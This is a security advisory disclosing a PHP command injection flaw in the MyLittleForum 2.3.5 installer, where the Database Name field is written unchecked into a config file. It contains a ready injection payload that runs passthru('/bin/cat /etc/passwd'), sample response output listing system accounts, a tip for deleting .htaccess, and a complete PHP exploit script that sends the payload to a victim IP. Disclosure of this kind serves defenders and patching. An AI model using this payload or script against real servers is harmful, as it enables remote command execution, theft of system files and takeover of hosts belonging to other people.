MyLittleForum v2.3.5 PHP Command Injection

[hyp3rlinx () lycos com]

[+] Credits: hyp3rlinx 

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MYLITTLEFORUM-PHP-CMD-EXECUTION.txt

[+] ISR: APPARITIONSEC



Vendor:
=================
mylittleforum.net

Download:
github.com/ilosuna/mylittleforum/releases/tag/v2.3.5


Product:
===================
MyLittleForum 2.3.5

my little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded
view (tree structure). The main claim of this web forum is simplicity. Furthermore it should be easy to install
and run on a standard server configuration with PHP and MySQL.



Vulnerability Type:
=======================
PHP Command Execution



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

When setting up mylittleforum CMS users will have to walk thru an installation script and provide details for the 
application like the
forums email address, name, admin email, admin password, database name etc...

However, no input validation / checks exists for that installation script. Low privileged users can then supply 
arbitrary PHP code for
the Database Name. The PHP command values will get written to the config/db_settings.php file and processed by the 
application. Since
we supply an invalid Database Name a MySQL error will be thrown but the injected PHP payload will also be executed on 
the host system.

If the CMS is installed by low privileged user and that user has basic MySQL database authorization to run the install 
for the CMS it
can result in a privilege escalation, remote command execution and complete takeover of the host server.  

The /config/db_settings.php is protected by .htaccess file but we can write directly to "db_settings.php" file and 
execute code directly
from /install/index.php file bypassing any access control provided by the .htaccess file or we just delete it by adding 
call to PHP function
@unlink('.htaccess') to our injected PHP payload. 


1) Browse to http://localhost/mylittleforum-2.3.5/install/index.php


2) For Database Name input field enter the below PHP code for POC.
';?><?php echo passthru('/bin/cat /etc/passwd');'

This results in config/db_settings.php file being injected with our arbitrary PHP code.
$db_settings['database'] = '';?><?php echo passthru('/bin/cat /etc/passwd');'';


3) Make another HTTP GET request to same page "/install/index.php" file and done!... we access /etc/passwd system file.


HTTP/1.1 200 OK
Date: Fri, 24 Jun 2016 03:01:13 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1m PHP/5.6.8 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.8
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

etc...


Exploit code(s):
===============

1) Download and unpack mylittleforum-2.3.5 upload to web server (Linux), chmod -R 777 etc...
2) Run below PHP script from Command line from remote work station
3) BOOM we can now read Linux "/etc/passwd" file on remote server


<?php
#mylittleforum-2.3.5 PHP CMD Execution Exploit
#by hyp3rlinx
#ISR: apparitionsec
#hyp3rlinx.altervista.org
#cat Linux system file '/etc/passwd' POC
#tested RH Linux 5
#=======================================================

if($argc<5){
        echo "myLittleForum CMS PHP Command Execution Exploit\r\n";
        echo "Usage: <IP>,<MySQL-USER>,<MySQL-PASSWD>,<ROOT DIR>\r\n";
        echo "================= by hyp3rlinx ===================\r\n";
        exit();
}

$port=80;                   #Default port
$victim=$argv[1];           #IP
$user=$argv[2];             #MySQL username
$pwd=$argv[3];              #MySQL password
$root_dir=$argv[4];         #/mylittleforum-2.3.5
$uri="/install/index.php";  #PHP CMD inject entry point

$s = fsockopen($victim, $port, $errno, $errstr, 10);
if(!$s){echo "Cant connect to the server!"; exit();}

        $CMD_INJECTTION="forum_name=PWN".
                        "&forum_address=http://$victim/$root_dir/";.
                        "&forum_email=x () x com".
                        "&admin_name=$user".
                        "&admin_email=x () x com".
                        "&admin_pw=$pwd".
                        "&admin_pw_conf=$pwd".
                        "&host=localhost".
                        "&database=';?><?php echo passthru('/bin/cat /etc/passwd');'".
                        "&user=$user".
                        "&password=$pwd".
                        "&table_prefix=mlf2_".
                        "&install_submit=OK+-+Install+forum".
                        "&language_file=english.lang";

    #Inject commands                            
    $out = "POST /$root_dir/$uri HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($CMD_INJECTTION) . "\r\n";
    $out .= "Connection: close\r\n\r\n";
        
    fwrite($s, $out);
    fwrite($s, $CMD_INJECTTION);
        
    fclose($s);
    sleep(2);

    #Second HTTP request to read Linux /etc/passwd file in the response
        
    $out="";
    $s = fsockopen($victim, $port, $errno, $errstr, 10);
    $out = "GET /$root_dir/$uri HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Connection: Close\r\n\r\n";
        
    fwrite($s, $out);
          
    $r='';

     while (!feof($s)) {
         $r=fgets($s, 128);
         echo $r;
        if(strpos($r,'<!DOCTYPE')!==FALSE){ 
           break;
         }        
       }
        
        fclose($s);
        
        
?>



Disclosure Timeline:
=================================
Vendor Notification: No Reply
June 27, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote 



Severity Level:
===========================================
(High) 8.7 
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided 
that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no 
responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security 
related information
or exploits by the author or elsewhere.

hyp3rlinx